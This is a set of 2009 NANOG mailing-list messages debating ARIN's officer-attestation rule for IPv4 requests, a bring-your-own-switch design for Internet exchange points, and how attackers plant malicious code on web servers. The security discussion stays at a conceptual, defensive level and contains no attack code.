Re: Important New Requirement for IPv4 Requests

[Carl Ford]

Same reason urgent action networks work for amnesty International.

Because when someone thinks other people are watching, truth is revealed.

Kind Regards,

Carl

On Mon, Apr 20, 2009 at 7:39 PM, Joe Greco  wrote:

> Forwarded message:
> > Subject: Important New Requirement for IPv4 Requests
> > From: ARIN Registration Services 
> >
> > Hello,
> >
> > With the approaching depletion of the IPv4 address free pool, the
> > ARIN Board of Trustees has directed ARIN staff to take additional
> > steps to ensure the legitimacy of all IPv4 address space requests.
> > Beginning 18 May 2009, ARIN will require that all applications for
> > IPv4 address space include an attestation of accuracy from an officer
> > of the organization. For more information on this requirement, please
> > see:
> >
> > https://www.arin.net/resources/agreements/officer_attest.html
> >
> > Whenever a request for IPv4 resources is received, ARIN will ask in
> > its initial reply for the name and contact information of an officer
> > of the organization who will be able to attest to the validity of the
> > information provided to ARIN.
> >
> > At the point a request is ready to be approved, ARIN will send a summary
> > of the request (via e-mail) to the officer with a cc: to the requesting
> > POC (Tech or Admin) and ask the officer to attest to the validity of the
> > information provided to ARIN. The summary will provide a brief overview
> > of the request and an explanation of the required attestation. ARIN will
> > include the original request template and any other relevant information
> > the requestor provided.  Once ARIN receives the attestation from the
> > officer, the request can be approved. Attestation may also be provided
> > via fax or postal mail.
> >
> > For further assistance, contact ARIN's Registration Services Help Desk
> > via e-mail to hostmas...@arin.net or telephone at +1.703.227.0660.
>
> Let me see if I can understand this.
>
> We're running out of IPv4 space.
>
> Knowing that blatant lying about IP space justifications has been an
> ongoing game in the community, ARIN has decided to "do something" about
> it.
>
> So now they're going to require an attestation.  Which means that they
> are going to require an "officer" to "attest" to the validity of the
> information.
>
> So the "officer," most likely not being a technical person, is going to
> contact ...  probably the same people who made the request, ask them if
> they need the space.  Right?
>
> And why would the answer be any different, now?
>
> ... JG
> --
> Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
> "We call it the 'one bite at the apple' rule. Give me one chance [and] then
> I
> won't contact you again." - Direct Marketing Ass'n position on e-mail
> spam(CNN)
> With 24 million small businesses in the US alone, that's way too many
> apples.
>
>

Re: Important New Requirement for IPv4 Requests

[Jo Rhett]

On Apr 20, 2009, at 4:39 PM, Joe Greco wrote:
So the "officer," most likely not being a technical person, is going  
to
contact ...  probably the same people who made the request, ask them  
if

they need the space.  Right?

And why would the answer be any different, now?



This is exactly identical to having the CEO signed the quarterly  
statements.  You are saying this is Right.  The CEO couldn't do that  
accounting him/herself -- but they're going to ask more questions and  
be more cautious before putting their name on it.


I applaud this idea.  I wish we had done it 10 years ago, but it's not  
too late to start.  Before late than never.


--
Jo Rhett
Net Consonance : consonant endings by net philanthropy, open source  
and other randomness

RE: Important New Requirement for IPv4 Requests

[Aaron Wendel]

I think this needlessly involves people who probably don't have a clue in an
area we may not really want them involved in.  I can hear the conversation
now:

Officer:  "Why do I have to sign this thing?"

Tech:  "Well your graciousness.  We are coming to the end of the available
address space and the gods at ARIN want to make you aware of that so you
might approve that request I made for new equipment to deploy IPv6 with."

Officer:  "Huh?  Do we need it?"

Tech: "Yes, we need the address space."

Officer: "And they're running out?"

Tech:  "Well out of the v4 space which is what we use now but we can move to
v6 space and..."

Officer:  "Hell, request 10x as much space!  I'll sign anything as long as
we don't run out and have to spend money!" 


For me, I request all the allocations and I'm also an officer of the company
so I'll just attest to my own stuff but I can see this would be a nightmare
in a larger company.

There was also an e-mail about outreach to the CEOs of all the companies
with resources.  At my company the CEO will hand it to me without even
opening it.  I assume that in many larger companies it "might" get glanced
at by the CEO or CEOs secretary before it gets shredded.

While I completely understand the reasons behind both initiatives I don't
think they'll have the desired effect.

Aaron




-Original Message-
From: Matthew Moyle-Croft [mailto:m...@internode.com.au] 
Sent: Monday, April 20, 2009 9:56 PM
To: Joe Greco
Cc: nanog@nanog.org
Subject: Re: Important New Requirement for IPv4 Requests

ARIN should ask companies to demonstrate:

- demonstration of routing of an IPv6 range/using IPv6 address space
- demonstration of services being offered over IPv6
- a plan to migrate customers to IPv6
- automatic allocation of IPv6 range instead of IPv4 for those who  
can't do so.

ie.  No more IPv4 for you until you've shown IPv6 clue.

Then people can't just get away with driving into the brick wall of  
IPv4-allocation fail.

(Not sure if I'm serious about this suggestion, but it's there now).

MMC


On 21/04/2009, at 9:09 AM, Joe Greco wrote:


>
> Let me see if I can understand this.
>
> We're running out of IPv4 space.
>
> Knowing that blatant lying about IP space justifications has been an
> ongoing game in the community, ARIN has decided to "do something"  
> about
> it.
>
> So now they're going to require an attestation.  Which means that they
> are going to require an "officer" to "attest" to the validity of the
> information.
>
> So the "officer," most likely not being a technical person, is going  
> to
> contact ...  probably the same people who made the request, ask them  
> if
> they need the space.  Right?
>
> And why would the answer be any different, now?
>
> ... JG
> -- 
> Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
> "We call it the 'one bite at the apple' rule. Give me one chance  
> [and] then I
> won't contact you again." - Direct Marketing Ass'n position on e- 
> mail spam(CNN)
> With 24 million small businesses in the US alone, that's way too  
> many apples.
>

-- 
Matthew Moyle-Croft
Networks, Internode/Agile
Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia
Email: m...@internode.com.auWeb: http://www.on.net
Direct: +61-8-8228-2909  Mobile: +61-419-900-366
Reception: +61-8-8228-2999Fax: +61-8-8235-6909

Re: Important New Requirement for IPv4 Requests

[Shane Ronan]

I don't believe I saw anywhere that these attestations were being made  
under penalty of perjury or any other method of civil punishment. Do  
they have to notarized?


What are the real benefits here, other then putting more people to  
work at ARIN and increase the workload of those who really do need new  
IP space.


Shane Ronan

On Apr 20, 2009, at 7:04 PM, David Andersen wrote:

"Are you asking me to attest, publicly and perhaps legally, that  
this information is correct?

Re: Important New Requirement for IPv4 Requests

[Matthew Moyle-Croft]

ARIN should ask companies to demonstrate:

- demonstration of routing of an IPv6 range/using IPv6 address space
- demonstration of services being offered over IPv6
- a plan to migrate customers to IPv6
- automatic allocation of IPv6 range instead of IPv4 for those who  
can't do so.


ie.  No more IPv4 for you until you've shown IPv6 clue.

Then people can't just get away with driving into the brick wall of  
IPv4-allocation fail.


(Not sure if I'm serious about this suggestion, but it's there now).

MMC


On 21/04/2009, at 9:09 AM, Joe Greco wrote:




Let me see if I can understand this.

We're running out of IPv4 space.

Knowing that blatant lying about IP space justifications has been an
ongoing game in the community, ARIN has decided to "do something"  
about

it.

So now they're going to require an attestation.  Which means that they
are going to require an "officer" to "attest" to the validity of the
information.

So the "officer," most likely not being a technical person, is going  
to
contact ...  probably the same people who made the request, ask them  
if

they need the space.  Right?

And why would the answer be any different, now?

... JG
--
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance  
[and] then I
won't contact you again." - Direct Marketing Ass'n position on e- 
mail spam(CNN)
With 24 million small businesses in the US alone, that's way too  
many apples.




--
Matthew Moyle-Croft
Networks, Internode/Agile
Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia
Email: m...@internode.com.auWeb: http://www.on.net
Direct: +61-8-8228-2909  Mobile: +61-419-900-366
Reception: +61-8-8228-2999Fax: +61-8-8235-6909

Re: Important New Requirement for IPv4 Requests

[Chris Owen]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Apr 20, 2009, at 9:04 PM, David Andersen wrote:

Just a thought:  A technical person might be very happy to lie to a  
toothless organization that holds no real sway over him or her,  
won't revoke the address space once granted, and for whom the  
benefit of lots of address space in which to play exceeds any  
potential pain from being caught, er, exaggerating their need for  
address space.


That same technical person might be less inclined to lie to a  
director of their company who asks:  "Are you asking me to attest,  
publicly and perhaps legally, that this information is correct?  If  
you're wrong and you make an ass of me, it's going to be yours that  
goes out the door."


Seems like a reasonable experiment to try, at least.



I agree there is no harm in the idea but as I was reading the  
announcement this morning I couldn't help but think "Too little, too  
late".


Chris

- --
Chris Owen - Garden City (620) 275-1900 -  Lottery (noun):
President  - Wichita (316) 858-3000 -A stupidity tax
Hubris Communications Inc  www.hubris.net
- --




-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (Darwin)
Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt
Comment: Public Key ID: 0xB513D9DD

iEYEARECAAYFAkntKl0ACgkQElUlCLUT2d0engCgk3EJW7uu0j9p0ArLjRmZHseP
cLMAnRqYov8CwxkF1E1pxP4zktUhA+HS
=i5o1
-END PGP SIGNATURE-

Re: Important New Requirement for IPv4 Requests

[David Andersen]

On Apr 20, 2009, at 7:39 PM, Joe Greco wrote:

We're running out of IPv4 space.

Knowing that blatant lying about IP space justifications has been an
ongoing game in the community, ARIN has decided to "do something"  
about

it.

So now they're going to require an attestation.  Which means that they
are going to require an "officer" to "attest" to the validity of the
information.

So the "officer," most likely not being a technical person, is going  
to
contact ...  probably the same people who made the request, ask them  
if

they need the space.  Right?

And why would the answer be any different, now?


Just a thought:  A technical person might be very happy to lie to a  
toothless organization that holds no real sway over him or her, won't  
revoke the address space once granted, and for whom the benefit of  
lots of address space in which to play exceeds any potential pain from  
being caught, er, exaggerating their need for address space.


That same technical person might be less inclined to lie to a director  
of their company who asks:  "Are you asking me to attest, publicly and  
perhaps legally, that this information is correct?  If you're wrong  
and you make an ass of me, it's going to be yours that goes out the  
door."


Seems like a reasonable experiment to try, at least.

  -Dave


PGP.sig
Description: This is a digitally signed message part

Re: Important New Requirement for IPv4 Requests

[manolo]

Joe Greco wrote:

Forwarded message:
  

Subject: Important New Requirement for IPv4 Requests
From: ARIN Registration Services 

Hello,

With the approaching depletion of the IPv4 address free pool, the 
ARIN Board of Trustees has directed ARIN staff to take additional 
steps to ensure the legitimacy of all IPv4 address space requests. 
Beginning 18 May 2009, ARIN will require that all applications for 
IPv4 address space include an attestation of accuracy from an officer 
of the organization. For more information on this requirement, please 
see:


https://www.arin.net/resources/agreements/officer_attest.html

Whenever a request for IPv4 resources is received, ARIN will ask in 
its initial reply for the name and contact information of an officer 
of the organization who will be able to attest to the validity of the 
information provided to ARIN.


At the point a request is ready to be approved, ARIN will send a summary 
of the request (via e-mail) to the officer with a cc: to the requesting 
POC (Tech or Admin) and ask the officer to attest to the validity of the 
information provided to ARIN. The summary will provide a brief overview 
of the request and an explanation of the required attestation. ARIN will 
include the original request template and any other relevant information 
the requestor provided.  Once ARIN receives the attestation from the 
officer, the request can be approved. Attestation may also be provided 
via fax or postal mail.  

For further assistance, contact ARIN's Registration Services Help Desk 
via e-mail to hostmas...@arin.net or telephone at +1.703.227.0660.



Let me see if I can understand this.

We're running out of IPv4 space.

Knowing that blatant lying about IP space justifications has been an
ongoing game in the community, ARIN has decided to "do something" about
it.

So now they're going to require an attestation.  Which means that they
are going to require an "officer" to "attest" to the validity of the
information.

So the "officer," most likely not being a technical person, is going to
contact ...  probably the same people who made the request, ask them if
they need the space.  Right?

And why would the answer be any different, now?

... JG
  
So I wonder if this applies to some of the players who have recently 
gotten a /19 for dubious purposes and are so large that an "officer"  of 
the company may be 1500 miles away. It's a sad state of affairs. Are 
they going to hold the "officer" liable if the request is not legit?







Manny

Re: Important New Requirement for IPv4 Requests

[Brandon Galbraith]

On Mon, Apr 20, 2009 at 6:39 PM, Joe Greco  wrote:

>
> So now they're going to require an attestation.  Which means that they
> are going to require an "officer" to "attest" to the validity of the
> information.
>
> So the "officer," most likely not being a technical person, is going to
> contact ...  probably the same people who made the request, ask them if
> they need the space.  Right?
>
> And why would the answer be any different, now?
>
> ... JG
> --
>

Easier to take back resources if an officer of the company lied regarding
their usage/need, no? Just a thought, although I am by no means an expert in
the field of contract law.

-brandon
-- 
Brandon Galbraith
Voice: 630.400.6992

Important New Requirement for IPv4 Requests

[Joe Greco]

Forwarded message:
> Subject: Important New Requirement for IPv4 Requests
> From: ARIN Registration Services 
> 
> Hello,
> 
> With the approaching depletion of the IPv4 address free pool, the 
> ARIN Board of Trustees has directed ARIN staff to take additional 
> steps to ensure the legitimacy of all IPv4 address space requests. 
> Beginning 18 May 2009, ARIN will require that all applications for 
> IPv4 address space include an attestation of accuracy from an officer 
> of the organization. For more information on this requirement, please 
> see:
> 
> https://www.arin.net/resources/agreements/officer_attest.html
> 
> Whenever a request for IPv4 resources is received, ARIN will ask in 
> its initial reply for the name and contact information of an officer 
> of the organization who will be able to attest to the validity of the 
> information provided to ARIN.
> 
> At the point a request is ready to be approved, ARIN will send a summary 
> of the request (via e-mail) to the officer with a cc: to the requesting 
> POC (Tech or Admin) and ask the officer to attest to the validity of the 
> information provided to ARIN. The summary will provide a brief overview 
> of the request and an explanation of the required attestation. ARIN will 
> include the original request template and any other relevant information 
> the requestor provided.  Once ARIN receives the attestation from the 
> officer, the request can be approved. Attestation may also be provided 
> via fax or postal mail.  
> 
> For further assistance, contact ARIN's Registration Services Help Desk 
> via e-mail to hostmas...@arin.net or telephone at +1.703.227.0660.

Let me see if I can understand this.

We're running out of IPv4 space.

Knowing that blatant lying about IP space justifications has been an
ongoing game in the community, ARIN has decided to "do something" about
it.

So now they're going to require an attestation.  Which means that they
are going to require an "officer" to "attest" to the validity of the
information.

So the "officer," most likely not being a technical person, is going to
contact ...  probably the same people who made the request, ask them if
they need the space.  Right?

And why would the answer be any different, now?

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance [and] then I
won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN)
With 24 million small businesses in the US alone, that's way too many apples.

Re: IXP

[Niels Bakker]

* dee...@ai.net (Deepak Jain) [Mon 20 Apr 2009, 23:25 CEST]:

So here is an idea that I hope someone shoots down.

We've been talking about pseudo-wires, and the high level of expertise a 
shared-fabric IXP needs to diagnose weird switch oddities, etc.

[..]
What if everyone who participated at an IXP brought their own switch. 
For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 
10G.


You didn't Cc: randy bush and I assume he's been delete-threading this 
so I'll say it instead: I encourage all my competitors to try this.


You do realise, I hope, that the ability to diagnose weird switch 
oddities decreases pretty radically when the switch is outside one's 
administrative control, right?


Ethernet has no administrative boundaries that can be delineated. 
Spanning one broadcast domain across multiple operators is therefore 
a recipe for disaster.  Attempts to limit this will fail as there is no 
enforcement possible in such a cooperative environment except yelling 
after the fact and frantic mailing during meltdowns.  I don't think I 
need to spell out how quick hacks will severely restrict scalability.


Cheap, fast, secure.  It is obvious which two Ethernet chose.


-- Niels.

--
"We humans get marks for consistency. We always opt for
 civilization after exhausting the alternatives."
-- Carl Guderian

RE: IXP

[Michael K. Smith - Adhost]

 
> -Original Message-
> 
> So here is an idea that I hope someone shoots down.
> 
> We've been talking about pseudo-wires, and the high level of expertise
> a
> shared-fabric IXP needs
> to diagnose weird switch oddities, etc.
> 
> As far as I can tell, the principal reason to use a shared fabric is
to
> allow multiple connections to networks
> that may not justify their own dedicated () router port. Once they
> do, they can move over to a PNI. However, an IXP is (at the hardware
> level at least) trying to achieve any-to-any connectivity without
> concern for capacity up to the port size of each port on every flow.
> Scaling this to multiple pieces of hardware has posed interesting
> challenges when the connection speed to participants is of the same
> order as the interconnection between IXP switches.
> 
> So here is a hybrid idea, I'm not sure if It has been tried or
> seriously
> considered before.
> 
> Since the primary justification for a shared fabric is cost
savings
> 
> What if everyone who participated at an IXP brought their own switch.
> For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed
> 10G.
> 
> 
> [Michael K. Smith - Adhost]
> 
> This sounds like fertile ground for unintended consequences.
Unmanaged
> spanning tree topological changes as three people, previously
connected
> to their own switch and to others, now decide to connect to each other
> as well, using those inexpensive L2 ports.

If each port is in its own pVLAN or similar, and they are only allowed
to talk to their uplinks and not other L2 ports on the same switch,
loops are avoided. 

I should have hashed that point out with another line. Yes, strictly
throwing up an unconfigured switch becomes a problem after the 2nd one
goes in -- but only for those brave enough to peer with you and dumb
enough to allow their switch to behave that way. The double-edged clue
sword.

Deepak

[Michael K. Smith - Adhost] 

The problem is the model as you've presented it, or as I've read it
anyway, allows that type of insertion as part of its root design.  If
all of the switches have to speak spanning tree because they may be
connected to each other on some connection outside of your
administrative control, then you have no control over what happens "over
there" that causes issues with the STP domain.

I'm a big fan of the operational simplicity of a L2 shared fabric with
spanning tree disallowed by policy and configuration with all of its
resources dedicated to forwarding frames.  I'm not convinced that a more
complex L3 shared architecture over a shared L2 fabric gets you any more
security or resiliency, but it certainly keeps the exchange people busy!

I should note that I do technical work for the Seattle Internet Exchange
so I'm showing a bias.  But, with that said, we have benefited greatly
from this model, through consistent, tragedy free growth and very high
uptime.  

Regards,

Mike

RE: IXP

[Deepak Jain]

> 
> Hello Deepak:
> 
> -Original Message-
> 
> So here is an idea that I hope someone shoots down.
> 
> We've been talking about pseudo-wires, and the high level of expertise
> a
> shared-fabric IXP needs
> to diagnose weird switch oddities, etc.
> 
> As far as I can tell, the principal reason to use a shared fabric is to
> allow multiple connections to networks
> that may not justify their own dedicated () router port. Once they
> do, they can move over to a PNI. However, an IXP is (at the hardware
> level at least) trying to achieve any-to-any connectivity without
> concern for capacity up to the port size of each port on every flow.
> Scaling this to multiple pieces of hardware has posed interesting
> challenges when the connection speed to participants is of the same
> order as the interconnection between IXP switches.
> 
> So here is a hybrid idea, I'm not sure if It has been tried or
> seriously
> considered before.
> 
> Since the primary justification for a shared fabric is cost savings
> 
> What if everyone who participated at an IXP brought their own switch.
> For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed
> 10G.
> 
> 
> [Michael K. Smith - Adhost]
> 
> This sounds like fertile ground for unintended consequences.  Unmanaged
> spanning tree topological changes as three people, previously connected
> to their own switch and to others, now decide to connect to each other
> as well, using those inexpensive L2 ports.

If each port is in its own pVLAN or similar, and they are only allowed to talk 
to their uplinks and not other L2 ports on the same switch, loops are avoided. 

I should have hashed that point out with another line. Yes, strictly throwing 
up an unconfigured switch becomes a problem after the 2nd one goes in -- but 
only for those brave enough to peer with you and dumb enough to allow their 
switch to behave that way. The double-edged clue sword.

Deepak

RE: IXP

[Michael K. Smith - Adhost]

Hello Deepak:

-Original Message-

So here is an idea that I hope someone shoots down.

We've been talking about pseudo-wires, and the high level of expertise a
shared-fabric IXP needs
to diagnose weird switch oddities, etc.

As far as I can tell, the principal reason to use a shared fabric is to
allow multiple connections to networks
that may not justify their own dedicated () router port. Once they
do, they can move over to a PNI. However, an IXP is (at the hardware
level at least) trying to achieve any-to-any connectivity without
concern for capacity up to the port size of each port on every flow.
Scaling this to multiple pieces of hardware has posed interesting
challenges when the connection speed to participants is of the same
order as the interconnection between IXP switches.

So here is a hybrid idea, I'm not sure if It has been tried or seriously
considered before.

Since the primary justification for a shared fabric is cost savings

What if everyone who participated at an IXP brought their own switch.
For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed
10G.


[Michael K. Smith - Adhost] 

This sounds like fertile ground for unintended consequences.  Unmanaged
spanning tree topological changes as three people, previously connected
to their own switch and to others, now decide to connect to each other
as well, using those inexpensive L2 ports.

Regards,

Mike 

RE: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing

[Deepak Jain]

> On Sat, 18 Apr 2009 03:21:06 BST, "andrew.wallace" said:
> > The network community and the security community need to collaborate
> > as much as possible to defeat the threats.
> >
> > I'm British and i'm hoping to make UK as secure as possible.
> 
> Umm. You missed the *very first* principle of proper security design.
> 
> It shouldn't be "as secure as possible". It should be "as secure as it
> needs to be".
> 
> I mean, I suppose you *could* go with mil-spec security, where all
> materials are kept in a locked safe under armed guard, and you had to
> fill out paperwork for each piece of paper you took out of the safe,
> and then more paperwork when you returned it.  But did you *really*
> want all that effort just to check the headlines on bbc.com?

Let's not ignore the fact that if you set unreasonably high security standards
most likely: a) twitter.com or bbc.com wouldn't exist because of the high
security scrutiny they'd have been under before being allowed to connect to 
anything and b) even if they didn't you wouldn't be able to see them because
of the high security scrutiny you'd be under before you were allowed to connect.

No one dies from an attack on twitter. Let the court/justice system deal with 
it whenever they get around to it. It keeps IT folks in jobs all over the 
place, gives the news things to write about, and gives the NANOG mail servers 
something to use the network for. 

Intelligence/security folks are tasked to deal with other things and with a 
real level of severity -- and it's quantifiable (at least in theory ;) ). 

Another point, security is ephemeral - A wall used to be the "secure as 
possible" solution to protect cities from invaders. An entertainment novelty in 
China rendered them obsolete when this black powder was reapplied to warfare. 
Some attacks (e.g. botnets) can only exist because we all have done a great job 
building networks over the last 15 years. Now we have new challenges. They all 
take their own time to mature and address.

Deepak Jain
AiNET

RE: IXP

[Deepak Jain]

So here is an idea that I hope someone shoots down.

We've been talking about pseudo-wires, and the high level of expertise a 
shared-fabric IXP needs
to diagnose weird switch oddities, etc.

As far as I can tell, the principal reason to use a shared fabric is to allow 
multiple connections to networks
that may not justify their own dedicated () router port. Once they do, they 
can move over to a PNI. However, an IXP is (at the hardware level at least) 
trying to achieve any-to-any connectivity without concern for capacity up to 
the port size of each port on every flow. Scaling this to multiple pieces of 
hardware has posed interesting challenges when the connection speed to 
participants is of the same order as the interconnection between IXP switches.

So here is a hybrid idea, I'm not sure if It has been tried or seriously 
considered before.

Since the primary justification for a shared fabric is cost savings

What if everyone who participated at an IXP brought their own switch. For 
argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 10G.

You connect 1-2 ports on your router, you order 18 cross-connects to your 
favorite peers. The IXP becomes a cross-connect provider (there is a business 
model bump that can be addressed here, TelX and others could address it). As 
you need more ports, you add them. A Nexus 5K runs about $500 per port. 

Here are some advantages. If you have 300 participants, yes, you have a lot of 
ports/switches. However, as "interconnectivity" increases, so does the total 
fabric capacity. Each additional switch does NOT add significant
complexity to the participants, but it does bring significant backplane and 
buffering capabilities. Each participant could then configure their own pVlans, 
Vlans or whatever on *their* switch. If they screw something up, it doesn't 
take everyone down.  A non-offending participant that interconnects with an 
offender can shut down
1 port (automatically or manually) without affecting the rest of their 
services. 

This also prevents the requirement of very complicated security features in the 
L2/L3 gray area.  If you don't want your peer to have multiple MACs, don't 
accept them. If you're cool with it, you can let it slide. 

If you want to move someone over to a PNI, the IXP needs to do zilch. You just 
move your cross-connect over to a new port on your service window, your peer 
can do it at the same or a different time, no big deal. If you *keep* it on a 
switch however, you can use LACP uplinks from the switches you have to provide 
say 40G uplinks to your router so large peers don't affect your ability to 
process traffic. I doubt however, that if this model is applied, there is much 
purpose for PNIs -- the cost savings model mostly vanishes. 

As you want to move to higher speeds (40G and 100G) the IXP has to do zilch. 
You can switch your ports or peers at anytime you choose or set up a separate 
fabric for your 100G peers. An upgrade in port density or capacity for a peer, 
or set of peers, does not require a forklift of the whole IXP or some strange 
speed shifting (other than in the affected parties). 

Disadvantages. It's probably cheaper on a per-participant basis than a shared 
fabric once it gets to be a certain size. It's a different model (many-to-many 
vs one-to-many) that many are used to. It requires interconnects to other 
participants (en masse) to be about the same as the per port cost of a shared 
fabric (this is probably achievable given what many places charge for 10G 
ports). Each participant is managing an additional type of gear. Theoretically 
if someone uses an Extreme and another uses a Cisco, there might be issues, but 
at a pure vanilla-L2/VLAN level, I'm pretty sure even 2nd and 3rd tier vendors 
can interconnect just fine.

I think this addresses the keep it as simple as possible without over 
simplifying. There is nothing new to this model except (perhaps) as its applied 
to an IXP. People have been aggregating traffic by ports into trunks by 
capacity for a long time. I haven't figured out why it hasn't really been done 
to scale at the IXP level.

Thoughts?

Deepak Jain
AiNET

> -Original Message-
> From: vijay gill [mailto:vg...@vijaygill.com]
> Sent: Monday, April 20, 2009 12:35 AM
> To: Jeff Young; Nick Hilliard; Paul Vixie; na...@merit.edu
> Subject: Re: IXP
> 
> If you are unfortunate enough to have to peer at a public exchange
> point, put your public ports into a vrf that has your routes. Default
> will be suboptimal to debug.
> 
> I must say stephen and vixie and (how hard this is to type) even
> richard steenbergens methodology makes the most sense going forward.
> Mostly to prevent self-inflicted harm on parts of the exchange
> participants. Will it work? Doubtful in todays internet clue level
> 
> /vijay
> 
> On 4/18/09, Jeff Young  wrote:
> > Best solution I ever saw to an 'unintended' third-party
> > peering was devised by a pretty brilliant guy (who can
> > pipe

Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing

[Valdis . Kletnieks]

On Sat, 18 Apr 2009 03:21:06 BST, "andrew.wallace" said:
> The network community and the security community need to collaborate
> as much as possible to defeat the threats.
> 
> I'm British and i'm hoping to make UK as secure as possible.

Umm. You missed the *very first* principle of proper security design.

It shouldn't be "as secure as possible". It should be "as secure as it
needs to be".

I mean, I suppose you *could* go with mil-spec security, where all materials
are kept in a locked safe under armed guard, and you had to fill out paperwork
for each piece of paper you took out of the safe, and then more paperwork
when you returned it.  But did you *really* want all that effort just to
check the headlines on bbc.com?


pgpSz12w06nD2.pgp
Description: PGP signature

Re: Malicious code just found on web server

[Gadi Evron]

Ingo Flaschberger wrote:

Hi,

I see this every day at my webservers with a lot of *outdated* 
*exploitable* customer websites [I love old joomla's];

but mod_security does a great job nuking sql and various other exploits.


mod_security saves our collective behinds every day at nearly every very 
big Internet service provider I know of, and definitely hosting operations.


Mostly I like tweaking with it to see patterns of people who try to mess 
with me, rather than use most of the usual rules it has.


Gadi.

Re: Malicious code just found on web server

[Ingo Flaschberger]

Hi,

I see this every day at my webservers with a lot of *outdated* 
*exploitable* customer websites [I love old joomla's];

but mod_security does a great job nuking sql and various other exploits.

Kind regards,
Ingo Flaschberger

Re: Malicious code just found on web server

[Paul Ferguson]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Mon, Apr 20, 2009 at 10:40 AM, Nick Chapman 
wrote:

> On Mon, Apr 20, 2009 at 12:47 PM, Neil  wrote:

>>
>> But if you figure out how they got write access to a static website, I'd
>> love to hear it.
>
>
> Compromised FTP credentials would be my guess.  They can be obtained
> by brute force attacks or credential stealing trojans.
>

Yeah, it could have been any number of ways -- there has also been a huge
increase of SSH brute-force attacks in the past few weeks:

https://isc.sans.org/diary.html?storyid=6214

- - ferg


-BEGIN PGP SIGNATURE-
Version: PGP Desktop 9.5.3 (Build 5003)

wj8DBQFJ7LZrq1pz9mNUZTMRAvjkAJ9FLDn/KsLDrW9uIveQEw23ojaFbQCg7T6C
LZo3kISAfgBAfdbRSgUd878=
=vQAP
-END PGP SIGNATURE-


-- 
"Fergie", a.k.a. Paul Ferguson
 Engineering Architecture for the Internet
 fergdawgster(at)gmail.com
 ferg's tech blog: http://fergdawg.blogspot.com/

Re: Malicious code just found on web server

[Gadi Evron]

Mike Lewinski wrote:

Paul Ferguson wrote:


Most likely SQL injection. At any given time, there are hundreds of
thousands of "legitimate" websites out there that are unwittingly 
harboring

malicious code.


Most of the MS-SQL injection attacks we see write malicious javascript 
into the DB itself so all query results include it. However, I'm not 
sure how easy it is to leverage to get system access - we've seen a 
number of compromised customer machines and there didn't appear to be 
any further compromise of them beyond the obvious. In the OP's case it 
sounds like static HTML files were altered. My bet is that an ftp or ssh 
account was brute forced.


Many web hosting farm are just huge botnets all on their own. Web server 
botnets made of IIS and Apache servers.


While that malicious code could have been uploaded using an SQL 
injection or a server software vulnerability, one of the attacks seen 
most often is PHP file inclusion.


This is a really big problem for web hosting service providers, but even 
While at first this thread was about helping a fellow operator, I see 
how this has become off-topic for NANOG as it deals with web server 
database and software security rather than operationally how to handle 
such infestations.


For those interested, I wrote an article on these types of attacks back 
when I worked for a software vendor:


http://tinyurl.com/6kol8f [PDF]
Web Server Botnets and Server Farms as Attack Platforms
(all rights reserved to Virus Bulletin)

Gadi.

Re: Malicious code just found on web server

[Nick Chapman]

On Mon, Apr 20, 2009 at 12:47 PM, Neil  wrote:

> I've run into this sort of attack before, where they change the page to load
> content from elsewhere; but I couldn't figure out how they managed to write
> to the sites' pages.  They were hosted on a commercial webhost, and so if it
> was a compromised host (which seemed like the only possibility to me), that
> didn't speak well for the hosting company.



SQLi is prolly the most common way to inject code.  Shared databases
can lead to shared security problems.  It's also possible that the
hosting provider could be having other security issues that would
allow an attack to directly edit the website in question.  Remote file
inclusions are also a popular way to modify web page.  Include a web
shell, and then run a few commands to insert the malicious code into
the website.


> We were having issues with the company anyways, though; so I took down the
> site, sanitized the pages (and removed a bunch of junk), and put the site
> back up with another company.
>
> But if you figure out how they got write access to a static website, I'd
> love to hear it.


Compromised FTP credentials would be my guess.  They can be obtained
by brute force attacks or credential stealing trojans.


The obfuscation used by this exploit kit looked kinda familiar, but I
wasn't able to match it to any exploit kits I know of.  But it looks
like the guys at Arbor examined this at the beginning of the year:

http://asert.arbornetworks.com/2009/01/buy-buy-exploitation/

They're referring to it as Buy Buy due to the buybuy.html page.  Also
looks like a commenter at the article mentions that he had a problem
with this that was caused by compromised ftp accounts.

Of course, given how often exploit kits are copied, modified, merged,
etc, etc.  The buy buy kit could just be a relative of the this one.


Regards,

-Nick

Re: Malicious code just found on web server

[Paul Ferguson]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Mon, Apr 20, 2009 at 10:23 AM, Mike Lewinski  wrote:

> Paul Ferguson wrote:
>
>> Most likely SQL injection. At any given time, there are hundreds of
>> thousands of "legitimate" websites out there that are unwittingly
>> harboring
>> malicious code.
>
> Most of the MS-SQL injection attacks we see write malicious javascript
> into the DB itself so all query results include it. However, I'm not sure
> how easy it is to leverage to get system access - we've seen a number of
> compromised customer machines and there didn't appear to be any further
> compromise of them beyond the obvious. In the OP's case it sounds like
> static HTML files were altered. My bet is that an ftp or ssh account was
> brute forced.
>

Yes -- SQL Injection directly into the HTML.

Happening all over the place, hundreds of thousands at a time --- we've
been trying to highlight the fact that improper configuration of web
services, "unescaped" configurations, etc., allow SQL injection to insert
code (e.g. JavaScript, iFrames, etc.)  directly into the HTML or Header.

See also:

http://en.wikipedia.org/wiki/Sql_injection#Real-world_examples

- - ferg

-BEGIN PGP SIGNATURE-
Version: PGP Desktop 9.5.3 (Build 5003)

